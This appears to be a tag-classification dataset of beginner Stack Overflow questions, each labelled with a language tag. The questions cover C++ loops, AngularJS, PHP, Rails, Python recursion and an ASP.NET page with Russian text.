nested for loops and outputting asterisks  i have to write a c++ program that asks the user to enter an integer <em>k</em> and then outputs k lines of asterisks with the first line starting at 1 asterisk and the last line finishing with k asterisks.    i can get the program to output a square of asterisks such as: (k=5)   <pre><code>***** ***** ***** ***** ***** </code></pre>   when it should look like this:   <pre><code>* ** *** **** ***** </code></pre>   how should i adjust my program to accomplish this  (note: i have to use two for loops.)   <pre><code>int main() {     int k  cols  rows;     cout &lt;&lt;   please enter a number:  ;     cin &gt;&gt; k;      for (cols = 1; cols &lt; k + 1; cols++) {         for (rows = 1; rows &lt; k + 1; rows++)             cout &lt;&lt;  * ;         cout &lt;&lt; endl;     }      getchar();     getchar();     return 0; } </code></pre>,c++
android test package overwriting activity in other package  i have one normal android package with an activity a. now i am using a second independent test package in which i run several tests. for testing purposes i want to create an activity b which extends the activity a  in order to overwrite some aspects of a for testing. but since activity b is only for testing purposes i want to keep it in the test package.    is there any possible way for this,android
check_email_exists.php solution   i am trying to check email which is actually existed or not via php script and i found a solution that can really solve it.    i came across from this article <a href= https://gist.github.com/sureshdsk/9c599d757e90b0215e55  rel= nofollow >https://gist.github.com/sureshdsk/9c599d757e90b0215e55</a> .    please check complete code there  and let me show only my problem pane.   <pre><code>  //(lower-most lines of the project)   $email= asadbksdhskhdksjfhk@gmail.com ;  //email to test   $check =verifyemail($email   youremail@gmail.com ); //your email is just used for smtp requests   if($check== valid ){      echo  success ;   }else{        echo  fail ;     } </code></pre>   everything is ok by changing target email and host email  it shows  success .  but i want this php script to be processed by sending data and don t want it to be static. so i changed ..   <pre><code>   $email= asadbksdhskhdksjfhk@gmail.com ;  //email to test </code></pre>   to   <pre><code>   $email=$_request[ email ]; </code></pre>   and try sending email as data like this .   <pre><code>  http://www.samplesample.com/check_email_exists.php email= test@gmail.com  </code></pre>   but not working as the other scripts in my hosting do. by echoing email  it shows blank(null). please kindly suggest for my problem. thank you for reading and thinking about it.i am new to web programming php .,php
no retain in instance variables  in effective objective-c 2.0 there s the following snipped of code:   <pre><code>@interface eocclass : nsobject {     id _object; } @end  @implementation eocclass - (void)setup{     _object = [eocotherclass new]; } @end </code></pre>   the author then states that:   <blockquote>     the _object instance variable does not automatically retain its value under manual reference counting but does under arc.   </blockquote>   i tested the above snippet in xcode and the instance variable does retain the value (i.e. everything seems to work fine).    what does the author mean by the sentence above,objective-c
what happens when you add a reference of a dll in your project in .net  i have a class library project in .net say  a  which when built will create a dll namely  a.dll . i have another project say  b  and this project contains the reference of the dll  a.dll . what exactly happens when i add the reference of a in b  can anybody please tell me what happens both during compile time as well as during runtime,.net
drop down list id  can two drop down lists in two different web content forms be assigned the same id,.net
angularjs with typeahead does not work for angular-generated dynamic items  i am trying to use typeahead (from ngsstrap: <a href= http://mgcrea.github.io/angular-strap/##typeaheads  rel= nofollow >http://mgcrea.github.io/angular-strap/##typeaheads</a>) with angularjs (v.1.2.15). i get the following error (the list shows up but it s empty):   <pre><code>error: [$sce:unsafe] attempting to use an unsafe value in a safe context. http://errors.angularjs.org/1.2.15/$sce/unsafe minerr/&lt;@http://localhost:50445/scripts/angular.js:78 htmlsanitizer@http://localhost:50445/scripts/angular.js:12790 gettrusted@http://localhost:50445/scripts/angular.js:12954 @http://localhost:50445/scripts/angular.js:13635 ngbindhtmlwatchaction@http://localhost:50445/scripts/angular.js:17671 $rootscopeprovider/this.$get&lt;/scope.prototype.$digest@http://localhost:50445/scripts/angular.js:12031 this.$get/tooltipfactory/$tooltip.show@http://localhost:50445/scripts/angular-strap-tooltip.js:196 this.$get/typeaheadfactory/$typeahead.show@http://localhost:50445/scripts/angular-strap-typeahead.js:131 this.$get/tooltipfactory/$tooltip.enter@http://localhost:50445/scripts/angular-strap-tooltip.js:164 jquery.event.dispatch@http://localhost:50445/scripts/jquery-2.1.0.js:4371 jquery.event.add/elemdata.handle@http://localhost:50445/scripts/jquery-2.1.0.js:4057 this.$get/tooltipfactory/$tooltip.$onfocuselementmousedown@http://localhost:50445/scripts/angular-strap-tooltip.js:292 jquery.event.dispatch@http://localhost:50445/scripts/jquery-2.1.0.js:4371 jquery.event.add/elemdata.handle@http://localhost:50445/scripts/jquery-2.1.0.js:4057  http://localhost:50445/scripts/angular.js line 9563 </code></pre>   this only happens if i click on the box that is created with ng-repeat. if i create the input myself (the last line of the following code) then everything is fine - there is no error and i see the suggestions. this is the relevant code:   <pre><code>&lt;div class= control-group children-horizontal repeat-item  data-ng-repeat= passenger in passengers &gt;           &lt;!--label class= control-label  for= textinput &gt;departure from&lt;/label--&gt;             &lt;!--span class= fleft &gt;                 {{$index + 1}}.             &lt;/span--&gt;             &lt;div class= controls &gt;                 &lt;div class= input-group &gt;                     &lt;input name= airports[{{$index}}]  value= {{passenger.from}}  placeholder= departure from  class= form-control input-xlarge  type= text  data-ng-model= selectedairport  data-min-length= 0  data-html= 1  data-animation= am-flip-x  data-ng-options= airport for airport in airports  data-bs-typeahead=   autocomplete= off  /&gt;                     &lt;span class= input-group-btn &gt;&lt;button type= button  class= btn  data-ng-click= removepassenger($index) &gt;&lt;i class= fa fa-minus &gt;&lt;/i&gt;&lt;/button&gt;&lt;/span&gt;                 &lt;/div&gt;                              &lt;/div&gt;         &lt;/div&gt;          &lt;div class= control-group &gt;           &lt;div class= controls &gt;             &lt;button type= button  class= btn  data-ng-click= addpassenger() &gt;&lt;i class= fa fa-plus &gt;&lt;/i&gt; add new passenger&lt;/button&gt;             &lt;button class= btn btn-search btn-primary &gt;&lt;i class= fa fa-search &gt;&lt;/i&gt; search for flights&lt;/button&gt;           &lt;/div&gt; &lt;/div&gt;  &lt;input placeholder= departure from  class= form-control  data-animation= am-flip-x  data-ng-model= selectedairport  data-ng-options= airport for airport in airports  data-bs-typeahead=   type= text  /&gt; </code></pre>   does someone know what s causing this error,angularjs
bootstrap.css file not reflecting changes  i have a default bootstrap.css file.i am trying to change an item with in but its not reflecting my changes.    the bootstrap file i want to change   <pre><code>@media(min-width:1200px) { // i want to change the width to 1450px when i change it here it still refelects as 1200px when the page is run. .col-lg-6 {     width: 50%; } </code></pre>   }    i tried to add it into my own css document   <pre><code>@media(min-width:1450px) { //doesnt get picked up     .col-lg-6 {         width: 50% !important;     } } </code></pre>   is there any suggestions,css
cocoa pod setup for existing xcode project  i found these tutorials to create our own cocoapod:   <ul> <li><a href= https://guides.cocoapods.org/making/making-a-cocoapod.html  rel= nofollow noreferrer >https://guides.cocoapods.org/making/making-a-cocoapod.html</a></li> <li><a href= http://code.tutsplus.com/tutorials/creating-your-first-cocoapod--cms-24332  rel= nofollow noreferrer >http://code.tutsplus.com/tutorials/creating-your-first-cocoapod--cms-24332</a></li> </ul>   but for me none of them helps  as they create fresh xcode project using pod lib create. i have my own xcode project and i need to setup in that rather than create a fresh one.,ios
what are *-devel packages   what is the utility of devel packages like  libgtk+-devel  or  python-devel  etc.  do they contain source of the library  how is it different from non-devel packages like libgtk+,c
fstream end of file question  i am reading in multiple files. there are roughly 300 of these files. for some reason  if i set the loop to run over 3 iterations  the while loop which is supposed to iterate through each line becomes infinite. my question is: is there somthing i am forgetting to include in my while loop  for now i am simply trying to read one line at a time  eventually saving some data in the output file. or is it possible that there is something contained in the data files that is not letting the program reach the end of the file     <pre><code>ifstream infile; ofstream outfile; char outputfilename[] =  output.txt ; int i;  outfile.open(outputfilename  ios::out);  for (i = 1; i &lt; 4; i++) {     stringstream inputfilename;     inputfilename &lt;&lt;  data/  &lt;&lt; i &lt;&lt;  .txt ;     infile.open(inputfilename.str().c_str()  ios::in);     if (!infile) {         cout &lt;&lt;  error opening input files  &lt;&lt; endl;         exit(-1);     }      char buffer[256];     while (!infile.eof()) {         cout &lt;&lt;  hey ;         infile.getline(buffer  100);     }     infile.close(); } outfile.close(); </code></pre>   update: this works much better   <pre><code>char buffer[256];     while (!infile.eof()) {       infile &gt;&gt; buffer;     } </code></pre>,c++
nsdateformatter  w   in my app  i used  w  to format date:   <ol> <li>with  w   does a new week start on sundays  </li> <li>the date is local right  </li> </ol>,objective-c
accepts_nested_attributes - activerecord::unknownattributeerror  i have a very simple model that each event has many forexes. i am trying to create a nested form to create new event with a bunch of forexes in a go.    <pre><code>class event &lt; activerecord::base   has_many :forexes   accepts_nested_attributes_for :forexes  end   class forex &lt; activerecord::base   belongs_to :event end </code></pre>   the schema is like this:   <pre><code>activerecord::schema.define(version: 20180505093823) do    create_table  events   force: :cascade do |t|     t.string    name      t.datetime  created_at   null: false     t.datetime  updated_at   null: false     t.string    base    end    create_table  forexes   force: :cascade do |t|     t.string    code      t.float     rate      t.integer   event_id      t.datetime  created_at   null: false     t.datetime  updated_at   null: false   end    add_index  forexes   [ event_id ]  name:  index_forexes_on_event_id   end </code></pre>   and then i tried to create new objects using the following code in rails console. it fails.   <pre><code>event.new( name:  11   base:  hkd   forexes_attributes: [ {code:  rmb   rate:1}  {code:  cny  rate:2}]) </code></pre>   it throws me back with this error.   <pre><code>activerecord::unknownattributeerror: unknown attribute  forexes_attributes  for event. </code></pre>   i know this is quite a basic question. and i have tried many different ways after researching in different places. i couldn t debug it. appreciate your help.,ruby-on-rails
c# system.indexoutofrangeexception but program is working  this program generates random 2d array and calculates maximum in every line. i do have right results  but <code>indexoutofrangeexception</code> popping up if number of columns does not equals to the number of lines.    <pre><code>random r = new random();  int x y;  console.writeline( lines ); x = int.parse(console.readline());  console.writeline( columns ); y = int.parse(console.readline());  if ((x &lt; 1) || (y &lt; 1)) {     console.writeline( error );     console.readline(); } else {     int[ ] array1 = new int[x  y];      int[] array2 = new int[y];      for (int i = 0; i &lt; x; i++)     {         for (int j = 0; j &lt; y; j++)         {             array1[i  j] = r.next(0  51);             console.write(array1[i  j] +    );          }         console.writeline();     }      for (int j = 0; j &lt; y; j++)     {         int max = array1[j  0];          for (int i = 1; i &lt; x; i++)         {             if (array1[j  i] &gt; max)             {                 max = (array1[j  i]);             }             else             {              }         }         array2[j] = max;         console.writeline();         console.write(array2[j]);     }      console.readline(); } </code></pre>,c#
difference between abstractcontroller and actioncontroller in rails 4  what is the difference between <code>abstractcontroller</code> and <code>actioncontroller</code> in <code>rails 4</code>. what do they do and how they differ,ruby-on-rails
c# visual studio  i want to create a new c# project in visual studio 2012 but an error appears as follow the name of property stored under the registry key  hkey_local_machine\software\microsoft\msbuild\toolversions\14.0  has zero length <img src= https://i.stack.imgur.com/rqfyj.png  alt= image added >,c#
get last non-null cell in a row mysql  i have a table in following structure:   <pre> <b>id</b>       <b>performance_id</b>     <b>employee_comments</b>   <b>manager_comments</b> 1        23                 null                well done. 2        46                 null                improve speed 3        46                 trying to improve   null 4        46                 null                put more effort </pre>   in above structure  at a time  only one comments exist  either employee_comments or manager_comments  not both simultaneously.    i want to fetch last non-empty employee comments and manager_comments in a single row.    i need mysql query to display output as:   <pre> <b>performance_id</b>     <b>employee_comments</b>   <b>manager_comments</b> 23                 null                well done. 46                 trying to improve   put more effort             </pre>,mysql
angularjs client side function   i have two ng-models that are form input fields.  later in the form  i do this to display a total numeric value of the two models:   <pre><code>{{field1--field2}} </code></pre>   this adds the two fields.  i d like to capture the result and use it in a couple of other places.  what is the best way to do this in angular without using a js file,angularjs
angular.js how to insert css class on click and to remove all others  i m applying two css classes onto my html  when i click on my span element.    right now i have a border and looks fine  i want keep this.    but: so if i click in the icon  i said in the icon <code>&lt;i&gt;</code> the icon color change for blue.    but i don t want remove the functionality of the span who contains the border.    thanks.    html + angular   <pre><code>&lt;div ng-app&gt;   &lt;div&gt;     &lt;br&gt;     &lt;i ng-class= { gamepad-red :tog==1}  class= fa fa-lg fa-gamepad &gt;&lt;/i&gt;     &lt;span id= 1  ng-class= { myclass :tog==1}  ng-click= tog=1 &gt;span 1&lt;/span&gt;   &lt;/div&gt;    &lt;div&gt;     &lt;br&gt;     &lt;i ng-class= { gamepad-red :tog==2}  class= fa fa-lg fa-gamepad &gt;&lt;/i&gt;     &lt;br/&gt;&lt;span id= 2  ng-class= { myclass :tog==2}  ng-click= tog=2 &gt;span 2&lt;/span&gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>   css:   <pre><code>.myclass {   border: dotted pink 3px; }  .gamepad-red {   color: red; }  .gamepad-blue {   color: blue; } </code></pre>   jsfiddle: <a href= http://jsfiddle.net/zvlvg/286/  rel= nofollow >http://jsfiddle.net/zvlvg/286/</a>,angularjs
what code is needed to be notified in real-time whenever my ios app is downloaded   i recently published my first ios app and felt really dissatisfied with apple s itunesconnect portal for tracking app sales. specifically  i can t tell what time of day the app was downloaded  and i have to wait for the results until the next morning.    does anyone know a piece of code that can be unobstrusively inserted in my app that will somehow report to me after if has been installed for the first time  i don t want any privacy/rules violations  i just want the app to report that it has been downloaded  and maybe a few metrics regarding country/time/etc.    thanks for the help!    edit:    regarding a first run  phone home   is it possible to execute some html without having the user knowing (i don t want to interrupt their experience by opening a webbrowser). for example  some javascript from a statcounter  if not  what can i do,ios
what is the default value of so_sndbuff and so_rcvbuff set in the os x system  <pre><code>int32_t rcvbuf = 400 * 1024;     setsockopt(socketfd  sol_socket  so_rcvbuf  &amp;rcvbuf  4);f  int32_t checkrcvbuf = 0; unsigned int checkrcvbuflen = sizeof(checkrcvbuf); getsockopt(socketfd  sol_socket  so_rcvbuf  &amp;checkrcvbuf  &amp;checkrcvbuflen);  int32_t sndbuf = 400 * 1024; setsockopt(socketfd  sol_socket  so_sndbuf  &amp;sndbuf  4);  int32_t checksndbuf = 0; unsigned int checksndbuflen = sizeof(checksndbuf); getsockopt(socketfd  sol_socket  so_sndbuf  &amp;checksndbuf  &amp;checksndbuflen); </code></pre>,objective-c
how to inject dependencies into a provider using angularjs   is it possible to do di in a provider method     in this example   <pre><code>angular.module( greet  []) .provider( greeter  function() {    this.$get=function() {    }; }) .service( greeterservice  function($http){   console.log($http); }) ; </code></pre>   injecting <code>$http</code> into service appears to be the correct implementation  but it doesn t work in a provider method and it throws an error:    <blockquote>    unknown provider: $http  </blockquote>   does the provider method work with di to inject services,angularjs
novice javascript query about bad input  i am making a simple tip calculator to help myself learn javascript. the problem i can t solve is how to compensate for  bad input .    in the code below if the user prefaces the numeric input amount with a dollar sign <code>$</code>  the result is <code>nan</code>.     <pre><code>function tipamount(){ var dinner=prompt( how much was dinner  ); result = dinner*.10;  alert( your tip is   + $ +result );  } </code></pre>   how do i fix that.,javascript
how to solve : doesn t work toggle when using linkify class in android   <a href= http://developer.android.com/resources/samples/apidemos/src/com/example/android/apis/view/list6.html  rel= nofollow >http://developer.android.com/resources/samples/apidemos/src/com/example/android/apis/view/list6.html</a>    taking  referece of the above link  wheni test sample and i added linkify getview function  does not work toggle.   <pre><code>public view getview(int position  view convertview  viewgroup parent) {              speechview sv;                         if (convertview == null) {                 sv = new speechview(mcontext  mytitle[position]  mycontent[position]  mexpanded[position]);             } else {                  sv = (speechview)convertview;                                 sv.settitle(mytitle[position]);                 sv.setdialogue(mycontent[position]);                 sv.setexpanded(mexpanded[position]);                   textview body = (textview)sv.getchildat(1);                 body.settextcolor(color.gray);                   body.settext(mycontent[position]);                 linkify.addlinks(body  linkify.phone_numbers);                      body.setmovementmethod(linkmovementmethod.getinstance());                                    }              textview title = (textview)sv.getchildat(0);             title.settextcolor(color.ltgray);                             return sv;         } </code></pre>,android
which html tags are indispensable for a html document   forget about those smart rendering engines of state-of-art browsers. in terms of the w3c standards  which are the  indispensable  (non-removable) tags for a standard html document     furthermore  is there any difference about it in the html5 standard      thanks.,html
how to avoid cursor issue   i have created one form.when i running the form every where it is(including text also) showing hand instead of arrow(other than textbox).what shall i do to avoid this,asp.net
how to share *argv[] in other .c files  i ve got    <ul> <li>main.c</li> <li>something.h</li> <li>something.c</li> </ul>   how can i use  <code>char* argv[]</code> in <code>something.c</code> file without having to call a function from something.c with <code>argv[]</code> as parameter,c
get memory usage for a php script  <br><br> need advise here. currently i am get the memory usage of the script by using this code<br>    <pre><code>$sysmem = escapeshellcmd(system( echo $(free) )); memory_get_usage(); </code></pre>   this is the result i am getting :     total mem : 1034708<br> used mem : 1014572<br> free mem : 20136<br> shared mem : 0<br> buff mem : 73456<br> cached mem : 480752<br> ----------------------------------------------------<br> mem usegae : 509464<br><br> total mem : 1034708<br> used mem : 1014564<br> free mem : 20144<br> shared mem : 0<br> buff mem : 73456<br> cached mem : 480828<br> ----------------------------------------------------<br> mem usegae : 343904<br><br>    however i found out that the memory usage is kind of inconsistent and at time the memory usage might even exceed the total memory which is impossible.<br><br>    is memory_get_usage(); the best option to get the memory usage of the php script  or is it i need to use unset() function. however even if i use the memory still about the same<br><br>    if there are other methods please kindly advise.    thanks a millions<br> guys and ladies,php
php - imagestring overlapping query results  i wonder if someone might help me with this piece of code  it is being designed to pull data with a query  then place said data in to an image. however  i am having an issue whereby all the rows of the query are being printed out on top of each other  rather than on a new line each time! i m sure it s something simple i ve overlooked  but any help would be appreciated! also sorry it s under construction and doesn t look tidy! so to be clear  i am looking for it to loop through all the rows  and display them in a vertical list  however  it is currently showing them all on top of each other without any line break!   <pre><code>&lt; php  $config = parse_ini_file( inc/config.ini );  $config1[ image ] =  images/back.jpg ; // the default background image // try and connect to the database $connection = mysqli_connect( 127.0.0.1:3312  $config[ username ] $config[ password ] $config[ dbname ]);  // if connection was not successful  handle the error if($connection === false) {     // handle error - notify administrator  log to a file  show an error screen  etc. }  $result = mysqli_query($connection   select name pvpkills pvekills npckills helikills apckills deaths suicides status timeplayed from playerranksdb order by pvpkills desc  pvekills desc  npckills desc  helikills desc  apckills desc limit 10 ) or die(mysqli_error());   // make the image         header ( content-type: image/png );         if(!isset($_get[ style ])) {         $im = imagecreatefromjpeg($config1[ image ]); } else {         $im = imagecreatefromjpeg( image .$_get[ style ]. .jpg );         }      // various colors         $textcolor = imagecolorallocate($im  255  255  255);         $border = imagecolorallocate($im  135  191  231);         $hpcolor = imagecolorallocate($im  209  48  48);         $mpcolor = imagecolorallocate($im  204  0  255);         $encolor = imagecolorallocate($im  209  184  48);         $oncolor = imagecolorallocate($im  64  225  32);         $offcolor = imagecolorallocate($im  255  80  80);         $rd = imagecolorallocate($im  241  241  241);         $rdblue = imagecolorallocate($im  0  180  255);  while ($row = mysqli_fetch_assoc($result)){      // level and name         imagestring($im  3  22  28   &lt;lv .$row[ pvpkills ]. &gt;  .$row[ name ]  $encolor);     }            // display image         imagepng($im);         imagedestroy($im);  mysqli_close($connection);   &gt; </code></pre>,php
are references orthogonal to pointers   the question is meant as language orthogonal(as is in lack of redundency) features. references (never null[1]) in c++ <em>can</em> be implemented with pointers while compilers check for the semantic differences. there are languages like java or c# that only have references (maybe null) but no pointers and c has it the other way round. so one is sufficent for a <em>complete</em> language. is the behaviour in c++ different enough to be orthogonal     [1] you can de-reference a <code>nullptr</code> but that is undefined.,c++
finding records when using has_many through associations  i have two models  worker and project  and they are connected with has_many through association.    i manage to find all the projects which are related to a specific worker by writing the following code:   <pre><code>worker=worker.find_by_id( some_id )  worker.projects  </code></pre>   but i want the projects that i get to be only active projects (in the project model i have a status field)    i tried to do something like    <pre><code>worker.projects(:status_id=&gt; active ) </code></pre>   but it didn’t work for me.    can somebody tell me how i can do this,ruby-on-rails
recursionerror: maxium recursion depth exceeded  i m new to stack overflow this is my second question so please bear with me. i m creating a simple calculator program. here s the code:   <pre><code>def add(x  y):     return x + y  def subtract(x  y):     return x - y  def multiply(x  y):     return x * y  def divide(x  y):     return x / y  print( what do you want to do  ) print( 1.add: ) print( 2.subtract: ) print( 3.multiply: ) print( 4.divide: )  choice = input( enter a number 1-4 for your operation:  )  def operation():     if choice ==  1 :         print(num1  +  num2  =   add(num1  num2))      elif choice ==  2 :         print(num1  -  num2  =   subtract(num1  num2))      elif choice ==  3 :         print(num1  *  num2  =   multiply(num1  num2))      elif choice ==  4 :         print(num1  /  num2  =   divide(num1  num2))     else:         print( i said a number 1-4 you dumbass! )         return(operation()  input())  operation() num1 = int(input( enter a number:  )) num2 = int(input( enter another one:  )) </code></pre>   whenever i put a number greater than 5 it uses the else statement and loops the print statement over and over for a couple of seconds then print  recursion error: maximum recursion depth exceeded. i know that by putting the return statement inside the function  the function then loops itself over and over. i then tried to add the input to prompt the user for another input but i guess this isn t the right syntax. can someone post the right syntax for this code or is there a more concise way of doing this  thank you any help is appreciated.,python
do while loops have local variables in python   i am trying to use a while statement like so:   <pre><code>    o = 0     while o == 0:         try:             n = int(raw_input( which number do you want to begin with  ))             o = 1         except:             o = 0             print  please use a valid number.  </code></pre>   however  when i try to use variable n later  it gives me the  local variable  n  referenced before assignment  unboundlocalerror. that means that n cannot be recognized as a variable in the def i am using  because it only exists in the while statement  is this possible  the whole code:   <pre><code>import time from sys import argv import os os.system( cls )  print  welcome to number counter 2.0!  a = true def program():     global a     if a == false:         os.system( cls )         o = 0         while o == 0:             try:                 n = int(raw_input( which number do you want to begin with  ))                 o = 1             except:                 o = 0                 print  please use a valid number.  if n ==  /historykeep false :     if a == false:         print  command historykeep is already set to false.      else:         a = false         print  command set successfully.  elif n ==  /historykeep true :     if a == true:         print  command historykeep is already set to true.      else:         a = true         print  command set successfully.  if n ==  /historykeep false :     n = raw_input( which number do you want to begin with  )     elif n ==  /historykeep true :     n = raw_input( which number do you want to begin with  )      d = raw_input( how many seconds between each number  ) d = int(d) total_s = n * d while n &gt; 0:     print n     time.sleep(d)     n = n - 1 print  done in   total_s   seconds in total!  end_q = raw_input( exit or retry  (e/r) ) if end_q ==  e :     os.system( cls )     print  exiting.      time.sleep(0.5)     os.system( cls )     print  exiting..      time.sleep(0.5)     os.system( cls )     print  exiting...      time.sleep(0.5)     os.system( cls )     exit(0) elif end_q ==  r :     program()  program() </code></pre>,python
site not working header  sorry for my english. i editing site in asp and i have a problem  the header is not visible <a href= http://edusf.ru/project/default1.aspx  rel= nofollow >http://edusf.ru/project/default1.aspx</a>    but the normal version  with a working header <a href= http://edusf.ru/project/  rel= nofollow >http://edusf.ru/project/</a>    i can not understand the problem. here is the code page default1.aspx   <pre><code>    &lt;%@ page language= c#  autoeventwireup= true  inherits= bitrix.ui.bxpublicpage  main   title= демо страница  %&gt; &lt;script runat= server  id= @__bx_pagekeywords &gt;     public override void setpagekeywords(system.collections.generic.idictionary&lt;string  string&gt; keywords)     {         keywords[@ keywords ]=@  ;         keywords[@ description ]=@  ;         keywords[@ showleftcolumn ]=@  ;     } &lt;/script&gt;  &lt;asp:content id= content1  contentplaceholderid= bxcontent  runat= server  &gt; &lt;head&gt; &lt;link rel= stylesheet  type= text/css  href= style.css  /&gt; &lt;script type= text/javascript  src= jquery.js &gt;&lt;/script&gt; &lt;meta http-equiv= content-type  content= text/html; charset=utf-8  /&gt; &lt;script type= text/javascript &gt;         $(function(){                     $( #about-button ).css({                 opacity: 0.3             });             $( #contact-button ).css({                 opacity: 0.3             });                     $( #page-wrap div.button ).click(function(){                                 $clicked = $(this);                                         if ($clicked.css( opacity ) !=  1  &amp;&amp; $clicked.is( :not(animated) )) {                                         $clicked.animate({                         opacity: 1                          borderwidth: 5                     }  600 );                     var idtoload = $clicked.attr( id ).split( - );                     $( #content ).find( div:visible ).fadeout( fast   function(){                         $(this).parent().find( # +idtoload[0]).fadein();                     })                 }                 $clicked.siblings( .button ).animate({                     opacity: 0.5                      borderwidth: 1                 }  600 );             });         });     &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;div id= page-wrap &gt;  &lt;div id= home-button  class= button &gt;  &lt;img src= button-1.png  alt= home  class= button  /&gt;  &lt;/div&gt;  &lt;img style= float: left;  src= devide.png  width= 2  height= 24  /&gt;  &lt;div id= about-button  class= button &gt;  &lt;img src= button-2.png  alt= about  class= button &gt;  &lt;/div&gt; &lt;img style= float: left;  src= devide.png  width= 2  height= 24  /&gt; &lt;div id= contact-button  class= button &gt;  &lt;img src= button-3.png  alt= contact  class= button &gt;  &lt;/div&gt;  &lt;div class= clear &gt;&lt;/div&gt;  &lt;div id= content &gt;  &lt;div id= home &gt;  &lt;p&gt;&lt;h1&gt;социальный образовательный портал&lt;/h1&gt; &lt;table class= st2 &gt;    &lt;tbody&gt;      &lt;tr&gt;&lt;td class= left  style= -moz-border-top-colors: none; -moz-border-right-colors: none; -moz-border-bottom-colors: none; -moz-border-left-colors: none; -moz-border-image: none; &gt;          &lt;p&gt;социальный образовательный портал &amp;ndash; это веб-сервис для обучения через общение всех участников учебного процесса. как и в любой системе обучения в данном сервисе есть возможность изучения курсов и прохождения тестов. но главный принцип работы пользователей в сервисе &amp;ndash; общение  интерактивное взаимодействие в решении задач и создание личного виртуального пространства.&lt;/p&gt;        &lt;/td&gt;&lt;td class= right  style= -moz-border-top-colors: none; -moz-border-right-colors: none; -moz-border-bottom-colors: none; -moz-border-left-colors: none; -moz-border-image: none; &gt;          &lt;p&gt;участвуя в жизни портала  каждый пользователь сервиса становится частью информационного пространства учебного заведения или организации. если в привычном понимании портал - это обширная и систематизированная база учебных материалов и документов  то социальный образовательный портал - это актуальные знания каждого из его участников в динамике.&lt;/p&gt;        &lt;/td&gt;&lt;/tr&gt;    &lt;/tbody&gt;  &lt;/table&gt;  &lt;table class= st2 &gt;    &lt;tbody&gt;      &lt;tr&gt;&lt;td class= left  style= -moz-border-top-colors: none; -moz-border-right-colors: none; -moz-border-bottom-colors: none; -moz-border-left-colors: none; -moz-border-image: none; &gt;          &lt;p&gt;&lt;img height= 236  width= 370  src= /project/src001.jpg  alt= социальный образовательный портал  /&gt;&lt;/p&gt;        &lt;/td&gt;&lt;td class= right  style= -moz-border-top-colors: none; -moz-border-right-colors: none; -moz-border-bottom-colors: none; -moz-border-left-colors: none; -moz-border-image: none; &gt;          &lt;p&gt;&lt;img height= 236  width= 370  src= /project/src002.jpg  alt= социальный образовательный портал  /&gt;&lt;/p&gt;        &lt;/td&gt;&lt;/tr&gt;    &lt;/tbody&gt;  &lt;/table&gt;  &lt;table class= st3 &gt;    &lt;tbody&gt;      &lt;tr&gt;&lt;td class= left  style= -moz-border-top-colors: none; -moz-border-right-colors: none; -moz-border-bottom-colors: none; -moz-border-left-colors: none; -moz-border-image: none; &gt;          &lt;p&gt;в отличие от традиционных систем дистанционного обучения (сдо)  данный сервис усиливает направляющую роль преподавателя. активность обучаемых видна преподавателям  что способствует их профессиональной ориентации  раскрытию творческого потенциала и вовлечению в общественную жизнь. &lt;/p&gt;        &lt;/td&gt;&lt;td class= middle  style= -moz-border-top-colors: none; -moz-border-right-colors: none; -moz-border-bottom-colors: none; -moz-border-left-colors: none; -moz-border-image: none; &gt;          &lt;p&gt;обучаемые также могут наблюдать активность друг друга  что делает процесс обучения прозрачным  мотивирует к соперничеству и достижению лучших результатов в учебной и не учебной деятельности.&lt;/p&gt;        &lt;/td&gt;&lt;td class= right  style= -moz-border-top-colors: none; -moz-border-right-colors: none; -moz-border-bottom-colors: none; -moz-border-left-colors: none; -moz-border-image: none; &gt;          &lt;p&gt;в сдо под самостоятельной работой обучаемых фактически подразумевается его изоляция от друзей и от более качественных и актуальных учебных материалов  а социальный образовательный портал предлагает коллективную работу по выработке и накоплению знаний  где самостоятельность означает лидерство. &lt;/p&gt;        &lt;/td&gt;&lt;/tr&gt;    &lt;/tbody&gt;  &lt;/table&gt;  &lt;p style= text-align: center; &gt;&lt;img height= 251  width= 810  src= /project/diag001.jpg  alt= социальный образовательный портал  style= margin-top: 20px; margin-bottom: 20px;  /&gt;&lt;/p&gt;  &lt;table class= st2 &gt;    &lt;tbody&gt;      &lt;tr&gt;&lt;td class= left  style= -moz-border-top-colors: none; -moz-border-right-colors: none; -moz-border-bottom-colors: none; -moz-border-left-colors: none; -moz-border-image: none; &gt;          &lt;p&gt;в социальном образовательном портале используются средства неформального общения  знакомые пользователям по популярным социальным сервисам. это помогает пользователям более активно взаимодействовать друг с другом: делиться полезной информацией  интенсивно использовать навыки общения  коллективно решать задачи  и выполнять групповые учебные и творческие проекты.&lt;/p&gt;          &lt;p&gt;используя социальный образовательный портал  вы получаете управление интеллектуальным капиталом вашей организации и творческим потенциалом ваших студентов и работников. в процессе взаимодействия пользователей генерируются уникальные новые решения и информационные ресурсы. вы можете применять их для последующего цикла обучения и в целях совершенствования бизнес-процессов вашей организации.&lt;/p&gt;        &lt;/td&gt;&lt;td class= right  style= -moz-border-top-colors: none; -moz-border-right-colors: none; -moz-border-bottom-colors: none; -moz-border-left-colors: none; -moz-border-image: none; &gt;          &lt;p&gt;&lt;strong&gt;социальный образовательный портал включает в себя взаимодополняющий функционал продуктов трёх типов:&lt;/strong&gt;&lt;/p&gt;          &lt;ul&gt;            &lt;li&gt;система управления сайтом (администрирование  управление правами пользователей  учебные группы  настройка интерфейса  обновление учебного контента  добавление общих компонент: новости  объявления  галереи); &lt;/li&gt;            &lt;li&gt;система дистанционного обучения (курсы и тесты в формате scorm  статистика обучения  вебинары  календари событий  управление проектным обучением); &lt;/li&gt;            &lt;li&gt;социальная сеть (блоги  группы друзей  фотоальбомы  комментарии  хранение документов  события  закладки и обмен ими).              &lt;br /&gt;            все пользователи сервиса имеют одинаковый набор инструментов  отличающийся только возможностями  зависящими от роли (студент  преподаватель  куратор и др.) &lt;/li&gt;          &lt;/ul&gt;        &lt;/td&gt;&lt;/tr&gt;    &lt;/tbody&gt;  &lt;/table&gt; &lt;/p&gt;  &lt;/div&gt;  &lt;div id= about &gt;  &lt;p&gt;cтраница находится в разработке&lt;/p&gt;  &lt;/div&gt;  &lt;div id= contact &gt;  &lt;p&gt;cтраница находится в разработке&lt;/p&gt;  &lt;/div&gt;  &lt;/div&gt;  &lt;/div&gt; &lt;/body&gt; &lt;/asp:content&gt; </code></pre>,asp.net
